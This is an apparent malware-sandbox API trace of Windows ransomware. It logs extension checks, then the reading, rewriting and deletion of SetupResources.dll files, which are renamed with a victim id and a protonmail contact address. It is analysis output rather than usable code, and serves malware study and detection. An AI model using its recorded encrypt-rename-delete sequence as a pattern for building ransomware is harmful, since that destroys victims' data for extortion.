	[0059.761] lstrlenW (lpString="C:\\$GetCurrent\\SafeOS\\GetCurrentOOBE.dll") returned 40
	[0059.761] lstrlenW (lpString="C:\\$GetCurrent\\SafeOS\\GetCurrentOOBE.dll") returned 40
	[0059.761] lstrlenW (lpString=".doc") returned 4
	[0059.761] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1
	[0059.761] lstrlenW (lpString=".docx") returned 5
	[0059.761] lstrcmpiW (lpString1=".docx", lpString2="E.dll") returned -1
	[0059.761] lstrlenW (lpString=".pdf") returned 4
	[0059.761] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1
	[0059.761] lstrlenW (lpString=".xls") returned 4
	[0059.761] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1
	[0059.761] lstrlenW (lpString=".xlsx") returned 5
	[0059.761] lstrcmpiW (lpString1=".xlsx", lpString2="E.dll") returned -1
	[0059.761] lstrlenW (lpString=".ppt") returned 4
	[0059.761] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1
	[0059.761] lstrlenW (lpString="C:\\$GetCurrent\\SafeOS\\GetCurrentOOBE.dll") returned 40
	[0059.761] lstrlenW (lpString=".zip") returned 4
	[0059.761] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1
	[0059.761] lstrlenW (lpString=".rar") returned 4
	[0059.761] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1
	[0059.761] lstrlenW (lpString=".bz2") returned 4
	[0059.761] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1
	[0059.761] lstrlenW (lpString=".7z") returned 3
	[0059.761] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1
	[0059.761] lstrlenW (lpString="C:\\$GetCurrent\\SafeOS\\GetCurrentOOBE.dll") returned 40
	[0059.761] lstrlenW (lpString=".dbf") returned 4
	[0059.761] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1
	[0059.761] lstrlenW (lpString="C:\\$GetCurrent\\SafeOS\\GetCurrentOOBE.dll") returned 40
	[0059.761] lstrlenW (lpString=".1cd") returned 4
	[0059.761] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1
	[0059.762] lstrlenW (lpString="C:\\$GetCurrent\\SafeOS\\GetCurrentOOBE.dll") returned 40
	[0059.762] lstrlenW (lpString=".jpg") returned 4
	[0059.762] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1
	[0059.762] Sleep (dwMilliseconds=0x64) 
	[0060.161] Sleep (dwMilliseconds=0x64) 
	[0060.534] Sleep (dwMilliseconds=0x64) 
	[0060.964] Sleep (dwMilliseconds=0x64) 
	[0061.129] lstrcmpiW (lpString1=".dll", lpString2=".html") returned -1
	[0061.129] lstrlenW (lpString="SetupResources.dll") returned 18
	[0061.129] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1030\\SetupResources.dll" (normalized: "c:\\588bce7c90097ed212\\1030\\setupresources.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2f8
	[0061.130] GetFileSizeEx (in: hFile=0x2f8, lpFileSize=0x311ff14 | out: lpFileSize=0x311ff14*=18264) returned 1
	[0061.130] CloseHandle (hObject=0x2f8) returned 1
	[0061.130] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1030\\SetupResources.dll" (normalized: "c:\\588bce7c90097ed212\\1030\\setupresources.dll")) returned 0x80
	[0061.130] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1030\\SetupResources.dll.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\588bce7c90097ed212\\1030\\setupresources.dll.id-b4197730.[vip76@protonmail.com].html")) returned 0xffffffff
	[0061.130] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1030\\SetupResources.dll" (normalized: "c:\\588bce7c90097ed212\\1030\\setupresources.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2f8
	[0061.130] SetFilePointerEx (in: hFile=0x2f8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x311fec0 | out: lpNewFilePointer=0x0) returned 1
	[0061.131] SetFilePointerEx (in: hFile=0x2f8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x311fec0 | out: lpNewFilePointer=0x0) returned 1
	[0061.131] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1030\\SetupResources.dll.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\588bce7c90097ed212\\1030\\setupresources.dll.id-b4197730.[vip76@protonmail.com].html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2c8
	[0061.131] GetLastError () returned 0x0
	[0061.131] ReadFile (in: hFile=0x2f8, lpBuffer=0x3cd1020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x311fecc, lpOverlapped=0x0 | out: lpBuffer=0x3cd1020*, lpNumberOfBytesRead=0x311fecc*=0x4758, lpOverlapped=0x0) returned 1
	[0061.133] WriteFile (in: hFile=0x2c8, lpBuffer=0x3cd1020*, nNumberOfBytesToWrite=0x4760, lpNumberOfBytesWritten=0x311fc94, lpOverlapped=0x0 | out: lpBuffer=0x3cd1020*, lpNumberOfBytesWritten=0x311fc94*=0x4760, lpOverlapped=0x0) returned 1
	[0061.135] ReadFile (in: hFile=0x2f8, lpBuffer=0x3cd1020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x311fecc, lpOverlapped=0x0 | out: lpBuffer=0x3cd1020*, lpNumberOfBytesRead=0x311fecc*=0x0, lpOverlapped=0x0) returned 1
	[0061.135] WriteFile (in: hFile=0x2c8, lpBuffer=0x3cd1020*, nNumberOfBytesToWrite=0xf8, lpNumberOfBytesWritten=0x311fc94, lpOverlapped=0x0 | out: lpBuffer=0x3cd1020*, lpNumberOfBytesWritten=0x311fc94*=0xf8, lpOverlapped=0x0) returned 1
	[0061.135] SetEndOfFile (hFile=0x2c8) returned 1
	[0061.135] CloseHandle (hObject=0x2c8) returned 1
	[0061.136] SetFilePointerEx (in: hFile=0x2f8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x311fec0 | out: lpNewFilePointer=0x0) returned 1
	[0061.136] SetEndOfFile (hFile=0x2f8) returned 1
	[0061.138] CloseHandle (hObject=0x2f8) returned 1
	[0061.138] SetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1030\\SetupResources.dll.id-B4197730.[vip76@protonmail.com].html", dwFileAttributes=0x80) returned 1
	[0061.138] DeleteFileW (lpFileName="C:\\588bce7c90097ed212\\1030\\SetupResources.dll" (normalized: "c:\\588bce7c90097ed212\\1030\\setupresources.dll")) returned 1
	[0061.138] lstrlenW (lpString="C:\\588bce7c90097ed212\\1030\\SetupResources.dll") returned 45
	[0061.139] lstrlenW (lpString="C:\\588bce7c90097ed212\\1030\\SetupResources.dll") returned 45
	[0061.139] lstrlenW (lpString=".doc") returned 4
	[0061.139] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1
	[0061.139] lstrlenW (lpString=".docx") returned 5
	[0061.139] lstrcmpiW (lpString1=".docx", lpString2="s.dll") returned -1
	[0061.139] lstrlenW (lpString=".pdf") returned 4
	[0061.139] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1
	[0061.139] lstrlenW (lpString=".xls") returned 4
	[0061.139] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1
	[0061.139] lstrlenW (lpString=".xlsx") returned 5
	[0061.139] lstrcmpiW (lpString1=".xlsx", lpString2="s.dll") returned -1
	[0061.139] lstrlenW (lpString=".ppt") returned 4
	[0061.139] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1
	[0061.139] lstrlenW (lpString="C:\\588bce7c90097ed212\\1030\\SetupResources.dll") returned 45
	[0061.139] lstrlenW (lpString=".zip") returned 4
	[0061.139] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1
	[0061.139] lstrlenW (lpString=".rar") returned 4
	[0061.139] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1
	[0061.139] lstrlenW (lpString=".bz2") returned 4
	[0061.139] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1
	[0061.139] lstrlenW (lpString=".7z") returned 3
	[0061.139] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1
	[0061.139] lstrlenW (lpString="C:\\588bce7c90097ed212\\1030\\SetupResources.dll") returned 45
	[0061.139] lstrlenW (lpString=".dbf") returned 4
	[0061.139] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1
	[0061.139] lstrlenW (lpString="C:\\588bce7c90097ed212\\1030\\SetupResources.dll") returned 45
	[0061.140] lstrlenW (lpString=".1cd") returned 4
	[0061.140] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1
	[0061.140] lstrlenW (lpString="C:\\588bce7c90097ed212\\1030\\SetupResources.dll") returned 45
	[0061.140] lstrlenW (lpString=".jpg") returned 4
	[0061.140] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1
	[0061.140] lstrlenW (lpString="C:\\588bce7c90097ed212\\1030\\SetupResources.dll") returned 45
	[0061.140] lstrlenW (lpString="C:\\588bce7c90097ed212\\1030\\SetupResources.dll") returned 45
	[0061.140] lstrlenW (lpString=".doc") returned 4
	[0061.140] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1
	[0061.140] lstrlenW (lpString=".docx") returned 5
	[0061.140] lstrcmpiW (lpString1=".docx", lpString2="s.dll") returned -1
	[0061.140] lstrlenW (lpString=".pdf") returned 4
	[0061.140] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1
	[0061.140] lstrlenW (lpString=".xls") returned 4
	[0061.140] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1
	[0061.140] lstrlenW (lpString=".xlsx") returned 5
	[0061.140] lstrcmpiW (lpString1=".xlsx", lpString2="s.dll") returned -1
	[0061.140] lstrlenW (lpString=".ppt") returned 4
	[0061.140] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1
	[0061.140] lstrlenW (lpString="C:\\588bce7c90097ed212\\1030\\SetupResources.dll") returned 45
	[0061.140] lstrlenW (lpString=".zip") returned 4
	[0061.140] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1
	[0061.140] lstrlenW (lpString=".rar") returned 4
	[0061.140] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1
	[0061.140] lstrlenW (lpString=".bz2") returned 4
	[0061.140] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1
	[0061.141] lstrlenW (lpString=".7z") returned 3
	[0061.141] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1
	[0061.141] lstrlenW (lpString="C:\\588bce7c90097ed212\\1030\\SetupResources.dll") returned 45
	[0061.141] lstrlenW (lpString=".dbf") returned 4
	[0061.141] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1
	[0061.141] lstrlenW (lpString="C:\\588bce7c90097ed212\\1030\\SetupResources.dll") returned 45
	[0061.141] lstrlenW (lpString=".1cd") returned 4
	[0061.141] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1
	[0061.141] lstrlenW (lpString="C:\\588bce7c90097ed212\\1030\\SetupResources.dll") returned 45
	[0061.141] lstrlenW (lpString=".jpg") returned 4
	[0061.141] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1
	[0061.141] lstrcmpiW (lpString1=".dll", lpString2=".html") returned -1
	[0061.141] lstrlenW (lpString="SetupResources.dll") returned 18
	[0061.141] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1031\\SetupResources.dll" (normalized: "c:\\588bce7c90097ed212\\1031\\setupresources.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2f8
	[0061.141] GetFileSizeEx (in: hFile=0x2f8, lpFileSize=0x311ff14 | out: lpFileSize=0x311ff14*=18776) returned 1
	[0061.142] CloseHandle (hObject=0x2f8) returned 1
	[0061.142] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1031\\SetupResources.dll" (normalized: "c:\\588bce7c90097ed212\\1031\\setupresources.dll")) returned 0x80
	[0061.142] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1031\\SetupResources.dll.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\588bce7c90097ed212\\1031\\setupresources.dll.id-b4197730.[vip76@protonmail.com].html")) returned 0xffffffff
	[0061.142] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1031\\SetupResources.dll" (normalized: "c:\\588bce7c90097ed212\\1031\\setupresources.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2f8
	[0061.142] SetFilePointerEx (in: hFile=0x2f8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x311fec0 | out: lpNewFilePointer=0x0) returned 1
	[0061.142] SetFilePointerEx (in: hFile=0x2f8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x311fec0 | out: lpNewFilePointer=0x0) returned 1
	[0061.142] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1031\\SetupResources.dll.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\588bce7c90097ed212\\1031\\setupresources.dll.id-b4197730.[vip76@protonmail.com].html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2c8
	[0061.142] GetLastError () returned 0x0
	[0061.142] ReadFile (in: hFile=0x2f8, lpBuffer=0x3cd1020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x311fecc, lpOverlapped=0x0 | out: lpBuffer=0x3cd1020*, lpNumberOfBytesRead=0x311fecc*=0x4958, lpOverlapped=0x0) returned 1
	[0061.145] WriteFile (in: hFile=0x2c8, lpBuffer=0x3cd1020*, nNumberOfBytesToWrite=0x4960, lpNumberOfBytesWritten=0x311fc94, lpOverlapped=0x0 | out: lpBuffer=0x3cd1020*, lpNumberOfBytesWritten=0x311fc94*=0x4960, lpOverlapped=0x0) returned 1
	[0061.147] ReadFile (in: hFile=0x2f8, lpBuffer=0x3cd1020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x311fecc, lpOverlapped=0x0 | out: lpBuffer=0x3cd1020*, lpNumberOfBytesRead=0x311fecc*=0x0, lpOverlapped=0x0) returned 1
	[0061.147] WriteFile (in: hFile=0x2c8, lpBuffer=0x3cd1020*, nNumberOfBytesToWrite=0xf8, lpNumberOfBytesWritten=0x311fc94, lpOverlapped=0x0 | out: lpBuffer=0x3cd1020*, lpNumberOfBytesWritten=0x311fc94*=0xf8, lpOverlapped=0x0) returned 1
	[0061.147] SetEndOfFile (hFile=0x2c8) returned 1
	[0061.147] CloseHandle (hObject=0x2c8) returned 1
	[0061.149] SetFilePointerEx (in: hFile=0x2f8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x311fec0 | out: lpNewFilePointer=0x0) returned 1
	[0061.149] SetEndOfFile (hFile=0x2f8) returned 1
	[0061.150] CloseHandle (hObject=0x2f8) returned 1
	[0061.150] SetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1031\\SetupResources.dll.id-B4197730.[vip76@protonmail.com].html", dwFileAttributes=0x80) returned 1
	[0061.151] DeleteFileW (lpFileName="C:\\588bce7c90097ed212\\1031\\SetupResources.dll" (normalized: "c:\\588bce7c90097ed212\\1031\\setupresources.dll")) returned 1
	[0061.151] lstrlenW (lpString="C:\\588bce7c90097ed212\\1031\\SetupResources.dll") returned 45
	[0061.151] lstrlenW (lpString="C:\\588bce7c90097ed212\\1031\\SetupResources.dll") returned 45
	[0061.151] lstrlenW (lpString=".doc") returned 4
	[0061.151] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1
	[0061.151] lstrlenW (lpString=".docx") returned 5
	[0061.151] lstrcmpiW (lpString1=".docx", lpString2="s.dll") returned -1
	[0061.151] lstrlenW (lpString=".pdf") returned 4
	[0061.151] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1
	[0061.151] lstrlenW (lpString=".xls") returned 4
	[0061.151] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1
	[0061.151] lstrlenW (lpString=".xlsx") returned 5
	[0061.151] lstrcmpiW (lpString1=".xlsx", lpString2="s.dll") returned -1
	[0061.151] lstrlenW (lpString=".ppt") returned 4
	[0061.152] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1
	[0061.152] lstrlenW (lpString="C:\\588bce7c90097ed212\\1031\\SetupResources.dll") returned 45
	[0061.152] lstrlenW (lpString=".zip") returned 4
	[0061.152] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1
	[0061.152] lstrlenW (lpString=".rar") returned 4
	[0061.152] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1
	[0061.152] lstrlenW (lpString=".bz2") returned 4
	[0061.152] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1
	[0061.152] lstrlenW (lpString=".7z") returned 3
	[0061.152] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1
	[0061.152] lstrlenW (lpString="C:\\588bce7c90097ed212\\1031\\SetupResources.dll") returned 45
	[0061.152] lstrlenW (lpString=".dbf") returned 4
	[0061.152] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1
	[0061.152] lstrlenW (lpString="C:\\588bce7c90097ed212\\1031\\SetupResources.dll") returned 45
	[0061.152] lstrlenW (lpString=".1cd") returned 4
	[0061.152] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1
	[0061.152] lstrlenW (lpString="C:\\588bce7c90097ed212\\1031\\SetupResources.dll") returned 45
	[0061.152] lstrlenW (lpString=".jpg") returned 4
	[0061.152] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1
	[0061.152] lstrlenW (lpString="C:\\588bce7c90097ed212\\1031\\SetupResources.dll") returned 45
	[0061.152] lstrlenW (lpString="C:\\588bce7c90097ed212\\1031\\SetupResources.dll") returned 45
	[0061.152] lstrlenW (lpString=".doc") returned 4
	[0061.152] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1
	[0061.152] lstrlenW (lpString=".docx") returned 5
	[0061.152] lstrcmpiW (lpString1=".docx", lpString2="s.dll") returned -1
	[0061.153] lstrlenW (lpString=".pdf") returned 4
	[0061.153] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1
	[0061.153] lstrlenW (lpString=".xls") returned 4
	[0061.153] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1
	[0061.153] lstrlenW (lpString=".xlsx") returned 5
	[0061.153] lstrcmpiW (lpString1=".xlsx", lpString2="s.dll") returned -1
	[0061.153] lstrlenW (lpString=".ppt") returned 4
	[0061.153] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1
	[0061.153] lstrlenW (lpString="C:\\588bce7c90097ed212\\1031\\SetupResources.dll") returned 45
	[0061.153] lstrlenW (lpString=".zip") returned 4
	[0061.153] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1
	[0061.153] lstrlenW (lpString=".rar") returned 4
	[0061.153] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1
	[0061.153] lstrlenW (lpString=".bz2") returned 4
	[0061.153] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1
	[0061.153] lstrlenW (lpString=".7z") returned 3
	[0061.153] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1
	[0061.153] lstrlenW (lpString="C:\\588bce7c90097ed212\\1031\\SetupResources.dll") returned 45
	[0061.153] lstrlenW (lpString=".dbf") returned 4
	[0061.153] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1
	[0061.153] lstrlenW (lpString="C:\\588bce7c90097ed212\\1031\\SetupResources.dll") returned 45
	[0061.153] lstrlenW (lpString=".1cd") returned 4
	[0061.153] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1
	[0061.153] lstrlenW (lpString="C:\\588bce7c90097ed212\\1031\\SetupResources.dll") returned 45
	[0061.153] lstrlenW (lpString=".jpg") returned 4
	[0061.153] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1
	[0061.154] lstrcmpiW (lpString1=".dll", lpString2=".html") returned -1
	[0061.154] lstrlenW (lpString="SetupResources.dll") returned 18
	[0061.154] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1032\\SetupResources.dll" (normalized: "c:\\588bce7c90097ed212\\1032\\setupresources.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2f8
	[0061.154] GetFileSizeEx (in: hFile=0x2f8, lpFileSize=0x311ff14 | out: lpFileSize=0x311ff14*=19288) returned 1
	[0061.154] CloseHandle (hObject=0x2f8) returned 1
	[0061.154] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1032\\SetupResources.dll" (normalized: "c:\\588bce7c90097ed212\\1032\\setupresources.dll")) returned 0x80
	[0061.155] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1032\\SetupResources.dll.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\588bce7c90097ed212\\1032\\setupresources.dll.id-b4197730.[vip76@protonmail.com].html")) returned 0xffffffff
	[0061.155] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1032\\SetupResources.dll" (normalized: "c:\\588bce7c90097ed212\\1032\\setupresources.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2f8
	[0061.155] SetFilePointerEx (in: hFile=0x2f8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x311fec0 | out: lpNewFilePointer=0x0) returned 1
	[0061.155] SetFilePointerEx (in: hFile=0x2f8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x311fec0 | out: lpNewFilePointer=0x0) returned 1
	[0061.155] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1032\\SetupResources.dll.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\588bce7c90097ed212\\1032\\setupresources.dll.id-b4197730.[vip76@protonmail.com].html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2c8
	[0061.155] GetLastError () returned 0x0
	[0061.155] ReadFile (in: hFile=0x2f8, lpBuffer=0x3cd1020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x311fecc, lpOverlapped=0x0 | out: lpBuffer=0x3cd1020*, lpNumberOfBytesRead=0x311fecc*=0x4b58, lpOverlapped=0x0) returned 1
	[0061.157] WriteFile (in: hFile=0x2c8, lpBuffer=0x3cd1020*, nNumberOfBytesToWrite=0x4b60, lpNumberOfBytesWritten=0x311fc94, lpOverlapped=0x0 | out: lpBuffer=0x3cd1020*, lpNumberOfBytesWritten=0x311fc94*=0x4b60, lpOverlapped=0x0) returned 1
	[0061.159] ReadFile (in: hFile=0x2f8, lpBuffer=0x3cd1020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x311fecc, lpOverlapped=0x0 | out: lpBuffer=0x3cd1020*, lpNumberOfBytesRead=0x311fecc*=0x0, lpOverlapped=0x0) returned 1
	[0061.159] WriteFile (in: hFile=0x2c8, lpBuffer=0x3cd1020*, nNumberOfBytesToWrite=0xf8, lpNumberOfBytesWritten=0x311fc94, lpOverlapped=0x0 | out: lpBuffer=0x3cd1020*, lpNumberOfBytesWritten=0x311fc94*=0xf8, lpOverlapped=0x0) returned 1
	[0061.159] SetEndOfFile (hFile=0x2c8) returned 1
	[0061.160] CloseHandle (hObject=0x2c8) returned 1
	[0061.161] SetFilePointerEx (in: hFile=0x2f8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x311fec0 | out: lpNewFilePointer=0x0) returned 1
	[0061.161] SetEndOfFile (hFile=0x2f8) returned 1
	[0061.162] CloseHandle (hObject=0x2f8) returned 1
	[0061.162] SetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1032\\SetupResources.dll.id-B4197730.[vip76@protonmail.com].html", dwFileAttributes=0x80) returned 1
	[0061.163] DeleteFileW (lpFileName="C:\\588bce7c90097ed212\\1032\\SetupResources.dll" (normalized: "c:\\588bce7c90097ed212\\1032\\setupresources.dll")) returned 1
	[0061.163] lstrlenW (lpString="C:\\588bce7c90097ed212\\1032\\SetupResources.dll") returned 45
	[0061.163] lstrlenW (lpString="C:\\588bce7c90097ed212\\1032\\SetupResources.dll") returned 45
	[0061.163] lstrlenW (lpString=".doc") returned 4
	[0061.163] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1
	[0061.163] lstrlenW (lpString=".docx") returned 5
	[0061.163] lstrcmpiW (lpString1=".docx", lpString2="s.dll") returned -1
	[0061.163] lstrlenW (lpString=".pdf") returned 4
	[0061.163] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1
	[0061.163] lstrlenW (lpString=".xls") returned 4
	[0061.163] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1
	[0061.163] lstrlenW (lpString=".xlsx") returned 5
	[0061.164] lstrcmpiW (lpString1=".xlsx", lpString2="s.dll") returned -1
	[0061.164] lstrlenW (lpString=".ppt") returned 4
	[0061.164] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1
	[0061.164] lstrlenW (lpString="C:\\588bce7c90097ed212\\1032\\SetupResources.dll") returned 45
	[0061.164] lstrlenW (lpString=".zip") returned 4
	[0061.164] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1
	[0061.164] lstrlenW (lpString=".rar") returned 4
	[0061.164] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1
	[0061.164] lstrlenW (lpString=".bz2") returned 4
	[0061.164] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1
	[0061.164] lstrlenW (lpString=".7z") returned 3
	[0061.164] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1
	[0061.164] lstrlenW (lpString="C:\\588bce7c90097ed212\\1032\\SetupResources.dll") returned 45
	[0061.164] lstrlenW (lpString=".dbf") returned 4
	[0061.164] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1
	[0061.164] lstrlenW (lpString="C:\\588bce7c90097ed212\\1032\\SetupResources.dll") returned 45
	[0061.164] lstrlenW (lpString=".1cd") returned 4
	[0061.164] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1
	[0061.164] lstrlenW (lpString="C:\\588bce7c90097ed212\\1032\\SetupResources.dll") returned 45
	[0061.164] lstrlenW (lpString=".jpg") returned 4
	[0061.164] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1
	[0061.164] lstrlenW (lpString="C:\\588bce7c90097ed212\\1032\\SetupResources.dll") returned 45
	[0061.164] lstrlenW (lpString="C:\\588bce7c90097ed212\\1032\\SetupResources.dll") returned 45
	[0061.164] lstrlenW (lpString=".doc") returned 4
	[0061.164] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1
	[0061.165] lstrlenW (lpString=".docx") returned 5
	[0061.165] lstrcmpiW (lpString1=".docx", lpString2="s.dll") returned -1
	[0061.165] lstrlenW (lpString=".pdf") returned 4
	[0061.165] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1
	[0061.165] lstrlenW (lpString=".xls") returned 4
	[0061.165] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1
	[0061.165] lstrlenW (lpString=".xlsx") returned 5
	[0061.165] lstrcmpiW (lpString1=".xlsx", lpString2="s.dll") returned -1
	[0061.165] lstrlenW (lpString=".ppt") returned 4
	[0061.165] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1
	[0061.165] lstrlenW (lpString="C:\\588bce7c90097ed212\\1032\\SetupResources.dll") returned 45
	[0061.165] lstrlenW (lpString=".zip") returned 4
	[0061.165] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1
	[0061.165] lstrlenW (lpString=".rar") returned 4
	[0061.165] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1
	[0061.165] lstrlenW (lpString=".bz2") returned 4
	[0061.165] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1
	[0061.165] lstrlenW (lpString=".7z") returned 3
	[0061.165] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1
	[0061.165] lstrlenW (lpString="C:\\588bce7c90097ed212\\1032\\SetupResources.dll") returned 45
	[0061.165] lstrlenW (lpString=".dbf") returned 4
	[0061.165] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1
	[0061.165] lstrlenW (lpString="C:\\588bce7c90097ed212\\1032\\SetupResources.dll") returned 45
	[0061.165] lstrlenW (lpString=".1cd") returned 4
	[0061.165] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1
	[0061.165] lstrlenW (lpString="C:\\588bce7c90097ed212\\1032\\SetupResources.dll") returned 45
